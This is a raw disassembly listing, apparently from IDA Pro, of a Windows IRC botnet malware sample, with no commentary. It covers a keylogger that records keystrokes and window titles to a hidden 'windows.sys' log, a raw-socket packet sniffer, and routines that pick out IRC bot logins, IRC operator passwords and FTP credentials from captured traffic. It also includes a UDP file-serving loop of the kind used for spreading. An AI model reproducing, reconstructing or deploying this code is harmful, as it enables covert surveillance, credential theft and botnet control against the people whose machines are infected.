var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
Dst = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 87Ch
mov edx, [ebp+74h+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
xor eax, eax
inc eax
mov esi, edx
push 2
mov ecx, 0A9h
lea edi, [ebp+74h+var_374]
rep movsd
inc [ebp+74h+var_164]
push 2
mov [ebp+74h+var_10], eax
mov [ebp+74h+var_14], eax
mov [ebp+74h+var_8], eax
mov [edx+2A0h], eax
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_414755
push 190h
call ds:dword_42B014 ; Sleep
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435210 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_D8], ebx
jnz short loc_414738
push ebx ; int
push [ebp+74h+var_DC] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_15C]
push eax ; Str
push [ebp+74h+var_374] ; int
call sub_40123B
add esp, 14h
loc_414738: ; CODE XREF: sub_4146A1+75j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_168]
call sub_40B149
pop ecx
jmp loc_414AF9
; ---------------------------------------------------------------------------
loc_414755: ; CODE XREF: sub_4146A1+4Aj
push 4
lea eax, [ebp+74h+var_10]
push eax
push 4
mov edi, 0FFFFh
push edi
push esi
call dword_444120 ; setsockopt
push 4
lea eax, [ebp+74h+var_14]
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_444120 ; setsockopt
mov eax, [ebp+74h+var_168]
imul eax, 234h
push 10h ; Size
mov dword_4444F4[eax], esi
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_160]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
mov [ebp+74h+var_2A], ax
push 10h
lea eax, [ebp+74h+Dst]
push eax
push esi
mov [ebp+74h+var_28], ebx
call dword_4441E4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4147DF
push 1388h
call ds:dword_42B014 ; Sleep
dec [ebp+74h+var_164]
push [ebp+74h+arg_0]
jmp loc_414B0D
; ---------------------------------------------------------------------------
loc_4147DF: ; CODE XREF: sub_4146A1+123j
lea eax, [ebp+74h+var_370]
push offset aRb ; "rb"
push eax ; char *
call _fopen
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+74h+File], eax
jnz short loc_414858
push 190h
call ds:dword_42B014 ; Sleep
lea eax, [ebp+74h+var_370]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_4351E8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+74h+var_DC] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_15C]
push eax ; Str
push [ebp+74h+var_374] ; int
call sub_40123B
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_168]
call sub_40B149
add esp, 28h
jmp loc_414AFA
; ---------------------------------------------------------------------------
loc_414858: ; CODE XREF: sub_4146A1+156j
; sub_4146A1+426j
mov edi, [ebp+74h+arg_0]
cmp [edi+2A0h], ebx
jz loc_414AD0
mov edi, 80h
push edi ; Size
lea eax, [ebp+74h+var_D0]
push ebx ; Val
push eax ; Dst
mov [ebp+74h+var_1C], 5
mov [ebp+74h+var_18], 1388h
mov [ebp+74h+var_878], esi
mov [ebp+74h+var_87C], 1
call _memset
add esp, 0Ch
lea eax, [ebp+74h+var_1C]
push eax
push ebx
push ebx
lea eax, [ebp+74h+var_87C]
push eax
push ebx
call dword_4441B0 ; select
test eax, eax
jle loc_414AC4
xor eax, eax
mov ecx, edi
mov [ebp+74h+var_578], bl
lea edi, [ebp+74h+var_577]
rep stosd
stosw
stosb
lea eax, [ebp+74h+var_C]
push eax
lea eax, [ebp+74h+var_3C]
push eax
push ebx
push 80h
lea eax, [ebp+74h+var_D0]
push eax
push esi
mov [ebp+74h+var_C], 10h
call dword_444088 ; recvfrom
push [ebp+74h+var_38]
mov [ebp+74h+var_8], eax
call dword_444188 ; inet_ntoa
push eax ; Format
lea eax, [ebp+74h+var_50]
push eax ; Dest
call _sprintf
cmp [ebp+74h+var_D0], bl
pop ecx
pop ecx
jnz loc_414AAE
cmp [ebp+74h+var_CF], 1
jnz loc_4149C9
lea eax, [ebp+74h+Str]
push eax ; Str
call _strlen
push ebx ; Origin
push ebx ; Offset
push [ebp+74h+File] ; File
call _fseek
push [ebp+74h+File] ; File
lea eax, [ebp+74h+DstBuf]
push 200h ; Count
push 1 ; ElementSize
push eax ; DstBuf
mov [ebp+74h+var_578], bl
mov [ebp+74h+var_577], 3
mov [ebp+74h+var_576], bl
mov [ebp+74h+var_575], 1
call _fread
add esp, 20h
push [ebp+74h+var_C]
lea ecx, [ebp+74h+var_3C]
push ecx
mov [ebp+74h+var_8], eax
push ebx
add eax, 4
push eax
lea eax, [ebp+74h+var_578]
push eax
push esi
call dword_4440CC ; sendto
lea eax, [ebp+74h+var_50]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_4351C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_D8], ebx
jnz short loc_4149B7
push ebx ; int
push [ebp+74h+var_DC] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_15C]
push eax ; Str
push [ebp+74h+var_374] ; int
call sub_40123B
add esp, 14h
loc_4149B7: ; CODE XREF: sub_4146A1+2F4j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
jmp loc_414AC4
; ---------------------------------------------------------------------------
loc_4149C9: ; CODE XREF: sub_4146A1+26Dj
cmp [ebp+74h+var_CF], 4
jnz loc_414AAE
mov cl, [ebp+74h+var_CD]
cmp cl, 0FFh
mov al, [ebp+74h+var_CE]
mov [ebp+74h+var_578], bl
mov [ebp+74h+var_577], 3
jnz short loc_4149F7
inc al
xor cl, cl
mov [ebp+74h+var_575], bl
jmp short loc_4149FF
; ---------------------------------------------------------------------------
loc_4149F7: ; CODE XREF: sub_4146A1+348j
inc cl
mov [ebp+74h+var_575], cl
loc_4149FF: ; CODE XREF: sub_4146A1+354j
mov [ebp+74h+var_576], al
movzx eax, al
shl eax, 8
movzx ecx, cl
add eax, ecx
shl eax, 9
mov edi, 200h
push ebx ; Origin
sub eax, edi
push eax ; Offset
push [ebp+74h+File] ; File
call _fseek
push [ebp+74h+File] ; File
lea eax, [ebp+74h+DstBuf]
push edi ; Count
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 1Ch
push [ebp+74h+var_C]
mov edi, eax
lea eax, [ebp+74h+var_3C]
push eax
push ebx
lea eax, [edi+4]
push eax
lea eax, [ebp+74h+var_578]
push eax
push esi
mov [ebp+74h+var_8], edi
call dword_4440CC ; sendto
cmp edi, ebx
jnz short loc_414AC4
lea eax, [ebp+74h+var_50]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_4351A0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_D8], ebx
jnz short loc_414A99
push ebx ; int
push [ebp+74h+var_DC] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_15C]
push eax ; Str
push [ebp+74h+var_374] ; int
call sub_40123B
add esp, 14h
loc_414A99: ; CODE XREF: sub_4146A1+3D6j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
inc dword_4D4008
pop ecx
jmp short loc_414AC4
; ---------------------------------------------------------------------------
loc_414AAE: ; CODE XREF: sub_4146A1+263j
; sub_4146A1+32Cj
push [ebp+74h+var_C]
lea eax, [ebp+74h+var_3C]
push eax
push ebx
push 9
push offset dword_435194
push esi
call dword_4440CC ; sendto
loc_414AC4: ; CODE XREF: sub_4146A1+20Dj
; sub_4146A1+323j ...
cmp [ebp+74h+var_8], ebx
jg loc_414858
mov edi, [ebp+74h+arg_0]
loc_414AD0: ; CODE XREF: sub_4146A1+1C0j
push esi
call dword_444218 ; closesocket
push [ebp+74h+File] ; File
call _fclose
dec [ebp+74h+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_414B01
push [ebp+74h+var_168]
call sub_40B149
loc_414AF9: ; CODE XREF: sub_4146A1+AFj
pop ecx
loc_414AFA: ; CODE XREF: sub_4146A1+1B2j
push ebx
call ds:dword_42B068 ; ExitThread
loc_414B01: ; CODE XREF: sub_4146A1+44Bj
push 3E8h
call ds:dword_42B014 ; Sleep
push edi
loc_414B0D: ; CODE XREF: sub_4146A1+139j
call sub_4146A1
pop edi
pop esi
pop ebx
add ebp, 74h
leave
retn 4
sub_4146A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_414B1C(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_414B1C proc near ; CODE XREF: sub_414BFB+B0p
; sub_414BFB+243p
Dest = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
push esi
lea eax, [ebp+var_10]
push eax
call ds:dword_42B0D4 ; GetLocalTime
push 104h
lea eax, [ebp+var_114]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset asc_4332BC ; "\\"
push eax ; Dest
call _strcat
lea eax, [ebp+var_114]
push offset aWindows_sys ; "windows.sys"
push eax ; Dest
call _strcat
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax ; char *
call _fopen
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_414B81
inc eax
jmp short loc_414BF8
; ---------------------------------------------------------------------------
loc_414B81: ; CODE XREF: sub_414B1C+60j
push [ebp+arg_0]
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi ; FILE *
call _fprintf
push esi ; File
call _fclose
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_414BF6
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset asc_435248 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
push [ebp+arg_8C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_4] ; int
call sub_40123B
add esp, 24h
loc_414BF6: ; CODE XREF: sub_414B1C+A1j
xor eax, eax
loc_414BF8: ; CODE XREF: sub_414B1C+63j
pop esi
leave
retn
sub_414B1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_414BFB proc near ; DATA XREF: sub_40274D+4202o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
Dest = byte ptr -4DCh
Dst = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 8DCh
mov eax, [ebp+74h+arg_0]
and [ebp+74h+var_8DC], 0
and [ebp+74h+var_4], 0
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+74h+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
xor eax, eax
mov ecx, 0FFh
lea edi, [ebp+74h+var_8D8]
rep stosd
call dword_4440C0 ; GetForegroundWindow
push 3Ch
lea ecx, [ebp+74h+var_48]
push ecx
push eax
mov [ebp+74h+var_8], eax
call dword_4440B0 ; GetWindowTextA
mov ebx, 200h
loc_414C55: ; CODE XREF: sub_414BFB+2B7j
push 8
call ds:dword_42B014 ; Sleep
call dword_4440C0 ; GetForegroundWindow
cmp eax, [ebp+74h+var_8]
jz short loc_414CDA
push 3Ch
lea ecx, [ebp+74h+var_48]
push ecx
push eax
mov [ebp+74h+var_8], eax
call dword_4440B0 ; GetWindowTextA
lea eax, [ebp+74h+var_48]
push eax
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Dest]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax ; int
call _sprintf
sub esp, 84h
push 25h
pop ecx
lea eax, [ebp+74h+Dest]
mov edi, esp
lea esi, [ebp+74h+var_DC]
push eax ; int
rep movsd
call sub_414B1C
push ebx ; Size
mov [ebp+74h+var_4], eax
lea eax, [ebp+74h+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
push ebx ; Size
lea eax, [ebp+74h+Dest]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_414CDA: ; CODE XREF: sub_414BFB+6Bj
mov [ebp+74h+arg_0], offset dword_441AC4
loc_414CE1: ; CODE XREF: sub_414BFB+2ADj
push 10h
call dword_44422C ; GetKeyState
movsx esi, ax
mov eax, [ebp+74h+arg_0]
mov edi, [eax-4]
push edi
call dword_4440A0 ; GetAsyncKeyState
test ah, ah
jns short loc_414D78
push 14h
call dword_44422C ; GetKeyState
test ax, ax
jz short loc_414D29
cmp esi, 0FFFFFFFFh
jle short loc_414D29
cmp edi, 40h
jle short loc_414D29
cmp edi, 5Bh
jge short loc_414D29
mov [ebp+edi*4+74h+var_8DC], 1
jmp loc_414E9D
; ---------------------------------------------------------------------------
loc_414D29: ; CODE XREF: sub_414BFB+10Dj
; sub_414BFB+112j ...
push 14h
call dword_44422C ; GetKeyState
test ax, ax
jz short loc_414D54
test esi, esi
jge short loc_414D68
cmp edi, 40h
jle short loc_414D54
cmp edi, 5Bh
jge short loc_414D54
mov [ebp+edi*4+74h+var_8DC], 2
jmp loc_414E9D
; ---------------------------------------------------------------------------
loc_414D54: ; CODE XREF: sub_414BFB+139j
; sub_414BFB+142j ...
test esi, esi
jge short loc_414D68
mov [ebp+edi*4+74h+var_8DC], 3
jmp loc_414E9D
; ---------------------------------------------------------------------------
loc_414D68: ; CODE XREF: sub_414BFB+13Dj
; sub_414BFB+15Bj
mov [ebp+edi*4+74h+var_8DC], 4
jmp loc_414E9D
; ---------------------------------------------------------------------------
loc_414D78: ; CODE XREF: sub_414BFB+100j
lea eax, [ebp+edi*4+74h+var_8DC]
mov esi, [eax]
test esi, esi
jz loc_414E9D
and dword ptr [eax], 0
lea eax, [ebp+74h+Dst]
push eax ; Str
call _strlen
cmp edi, 8
pop ecx
jnz short loc_414DAE
lea ecx, [ebp+74h+Dst]
dec ecx
mov byte ptr [eax+ecx], 0
jmp loc_414E9D
; ---------------------------------------------------------------------------
loc_414DAE: ; CODE XREF: sub_414BFB+1A1j
cmp eax, 1B9h
jbe short loc_414DDA
call dword_4440C0 ; GetForegroundWindow
push 3Ch
lea ecx, [ebp+74h+var_48]
push ecx
push eax
call dword_4440B0 ; GetWindowTextA
lea eax, [ebp+74h+var_48]
push eax
lea eax, [ebp+74h+Dst]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_414E1B
; ---------------------------------------------------------------------------
loc_414DDA: ; CODE XREF: sub_414BFB+1B8j
cmp edi, 0Dh
jnz loc_414E6F
lea eax, [ebp+74h+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jz loc_414E9D
call dword_4440C0 ; GetForegroundWindow
push 3Ch
lea ecx, [ebp+74h+var_48]
push ecx
push eax
call dword_4440B0 ; GetWindowTextA
lea eax, [ebp+74h+var_48]
push eax
lea eax, [ebp+74h+Dst]
push eax ; int
push offset aSReturnS ; "%s (Return) (%s)"
loc_414E1B: ; CODE XREF: sub_414BFB+1DDj
lea eax, [ebp+74h+Dest]
push eax ; int
call _sprintf
sub esp, 84h
push 25h
pop ecx
lea eax, [ebp+74h+Dest]
mov edi, esp
lea esi, [ebp+74h+var_DC]
push eax ; int
rep movsd
call sub_414B1C
push ebx ; Size
mov [ebp+74h+var_4], eax
lea eax, [ebp+74h+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
push ebx ; Size
lea eax, [ebp+74h+Dest]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
jmp short loc_414E9D
; ---------------------------------------------------------------------------
loc_414E6F: ; CODE XREF: sub_414BFB+1E2j
cmp esi, 1
jz short loc_414E88
cmp esi, 3
jz short loc_414E88
cmp esi, 2
jz short loc_414E83
cmp esi, 4
jnz short loc_414E9D
loc_414E83: ; CODE XREF: sub_414BFB+281j
push [ebp+74h+arg_0]
jmp short loc_414E8F
; ---------------------------------------------------------------------------
loc_414E88: ; CODE XREF: sub_414BFB+277j
; sub_414BFB+27Cj
mov eax, [ebp+74h+arg_0]
add eax, 7
push eax ; Source
loc_414E8F: ; CODE XREF: sub_414BFB+28Bj
lea eax, [ebp+74h+Dst]
push eax ; Dest
call _strcat
pop ecx
pop ecx
loc_414E9D: ; CODE XREF: sub_414BFB+129j
; sub_414BFB+154j ...
add [ebp+74h+arg_0], 14h
cmp [ebp+74h+arg_0], offset dword_4421F4
jl loc_414CE1
cmp [ebp+74h+var_4], 0
jz loc_414C55
push [ebp+74h+var_D8]
call sub_40B149
pop ecx
push 0
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_414BFB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_414ECA proc near ; DATA XREF: sub_40274D+3E38o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
Str = byte ptr -1028Ch
Dest = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov eax, 102B4h
lea ebp, [esp-74h]
call __alloca_probe
mov edx, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 25h
pop ecx
xor eax, eax
inc eax
mov esi, edx
lea edi, [ebp+74h+var_B4]
rep movsd
push 10h ; Size
mov [ebp+74h+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+74h+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push esi
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push [ebp+74h+var_B4]
mov [ebp+74h+var_1A], ax
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
push esi
push 3
push 2
mov [ebp+74h+var_18], eax
call dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp+74h+var_4], ebx
jnz short loc_414F93
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_4353AC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_28], esi
jnz short loc_414F79
push esi ; int
push [ebp+74h+var_2C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_B4] ; int
call sub_40123B
add esp, 14h
loc_414F79: ; CODE XREF: sub_414ECA+93j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_30]
call sub_40B149
pop ecx
jmp loc_415195
; ---------------------------------------------------------------------------
loc_414F93: ; CODE XREF: sub_414ECA+73j
mov eax, [ebp+74h+var_30]
imul eax, 234h
mov dword_4444F4[eax], ebx
push 10h
lea eax, [ebp+74h+Dst]
push eax
push ebx
call dword_4441E4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_414FDD
call dword_4441C4 ; WSAGetLastError
push eax
push offset asc_435380 ; "-"
loc_414FC0: ; CODE XREF: sub_414ECA+13Ej
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_28], esi
jnz loc_415179
jmp loc_41515F
; ---------------------------------------------------------------------------
loc_414FDD: ; CODE XREF: sub_414ECA+E8j
push esi
push esi
lea eax, [ebp+74h+var_20]
push eax
push esi
push esi
push 4
lea eax, [ebp+74h+var_8]
push eax
push 98000001h
push ebx
call dword_4441E0 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_41500A
call dword_4441C4 ; WSAGetLastError
push eax
push offset dword_435350
jmp short loc_414FC0
; ---------------------------------------------------------------------------
loc_41500A: ; CODE XREF: sub_414ECA+130j
mov edi, 0FFFFh
jmp loc_415110
; ---------------------------------------------------------------------------
loc_415014: ; CODE XREF: sub_414ECA+26Aj
cmp [ebp+74h+var_102AB], 6
jnz loc_415110
cmp [ebp+74h+var_10293], 18h
mov eax, [ebp+74h+var_102A8]
mov [ebp+74h+var_C], eax
jnz loc_415110
lea eax, [ebp+74h+Str]
push offset aPsniff_0 ; "[PSNIFF]"
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz loc_415110
lea eax, [ebp+74h+Str]
push offset asc_435334 ; "-"
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz loc_415110
mov eax, offset a_login ; ":.login"
xor ebx, ebx
mov [ebp+74h+arg_0], eax
loc_415077: ; CODE XREF: sub_414ECA+1C8j
push eax ; SubStr
lea eax, [ebp+74h+Str]
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_415096
inc ebx
add [ebp+74h+arg_0], 18h
mov eax, [ebp+74h+arg_0]
jnz short loc_415077
jmp short loc_41510D
; ---------------------------------------------------------------------------
loc_415096: ; CODE XREF: sub_414ECA+1BEj
lea eax, [ebp+74h+Str]
push eax
push [ebp+74h+var_102A0]
call dword_444200 ; htons
movzx eax, ax
push eax
push [ebp+74h+var_C]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebx+ebx*2]
mov eax, dword_442254[eax*8]
push off_442230[eax*4]
lea eax, [ebp+74h+Dest]
push offset asc_435300 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
cmp [ebp+74h+var_28], esi
jnz short loc_415100
push esi ; int
push [ebp+74h+var_2C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_B4] ; int
call sub_40123B
add esp, 14h
loc_415100: ; CODE XREF: sub_414ECA+21Aj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
loc_41510D: ; CODE XREF: sub_414ECA+1CAj
mov ebx, [ebp+74h+var_4]
loc_415110: ; CODE XREF: sub_414ECA+145j
; sub_414ECA+151j ...
push edi ; Size
lea eax, [ebp+74h+var_102B4]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push esi
push edi
lea eax, [ebp+74h+var_102B4]
push eax
push ebx
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jnz loc_415014
call dword_4441C4 ; WSAGetLastError
push eax
push offset asc_4352D4 ; "-"
lea eax, [ebp+74h+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+74h+var_28], esi
jnz short loc_415179
loc_41515F: ; CODE XREF: sub_414ECA+10Ej
push esi ; int
push [ebp+74h+var_2C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_B4] ; int
call sub_40123B
add esp, 14h
loc_415179: ; CODE XREF: sub_414ECA+108j
; sub_414ECA+293j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
push ebx
call dword_444218 ; closesocket
push [ebp+74h+var_30]
call sub_40B149
loc_415195: ; CODE XREF: sub_414ECA+C4j
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_414ECA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41519E(char *Str)
sub_41519E proc near ; CODE XREF: sub_41549E+271p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aBotSniff ; "Bot sniff"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4151B8
loc_4151B4: ; CODE XREF: sub_41519E+29j
; sub_41519E+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4151B8: ; CODE XREF: sub_41519E+14j
push offset a_fast_ ; "#.fast.#"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151B4
push offset aPsniff_1 ; "[PSNIFF]:"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151B4
push offset aPsniff_2 ; "PSNIFF//"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151B4
push offset aJoin_0 ; "JOIN #"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_415200
loc_4151FC: ; CODE XREF: sub_41519E+71j
; sub_41519E+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_415200: ; CODE XREF: sub_41519E+5Cj
push offset a302 ; "302 "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset a366 ; "366 "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset a_login_0 ; ":.login"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset aLogin_0 ; ":!login"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset aLogin_1 ; ":!Login"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset a_login_1 ; ":.Login"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset a_ident ; ":.ident"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4151FC
push offset aIdent_0 ; ":!ident"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz loc_4151FC
push offset a_hashin ; ":.hashin"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz loc_4151FC
push offset aHashin ; ":!hashin"
push esi ; Str
call _strstr
pop ecx
pop ecx
test eax, eax
setnz al
pop esi
retn
sub_41519E endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4152B5(char *Str)
sub_4152B5 proc near ; CODE XREF: sub_41549E:loc_41573Cp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aIrcSniff ; "IRC sniff"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4152CF
loc_4152CB: ; CODE XREF: sub_4152B5+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4152CF: ; CODE XREF: sub_4152B5+14j
push offset a_fast_ ; "#.fast.#"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4152CB
push offset aOper ; "OPER "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4152F5
loc_4152F1: ; CODE XREF: sub_4152B5+4Fj
; sub_4152B5+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4152F5: ; CODE XREF: sub_4152B5+3Aj
push offset aNick_1 ; "NICK "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4152F1
push offset aOper_0 ; "oper "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4152F1
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi ; Str
call _strstr
pop ecx
pop ecx
test eax, eax
setnz al
pop esi
retn
sub_4152B5 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41532B(char *Str)
sub_41532B proc near ; CODE XREF: sub_41549E:loc_415766p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aFtpSniff ; "FTP sniff"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_415345
loc_415341: ; CODE XREF: sub_41532B+29j
; sub_41532B+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_415345: ; CODE XREF: sub_41532B+14j
push offset a_fast_ ; "#.fast.#"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_415341
push offset aNick_1 ; "NICK "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_415341
push offset a220 ; "220 "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_41537C
loc_415378: ; CODE XREF: sub_41532B+60j
; sub_41532B+71j
mov al, 1
pop esi
retn
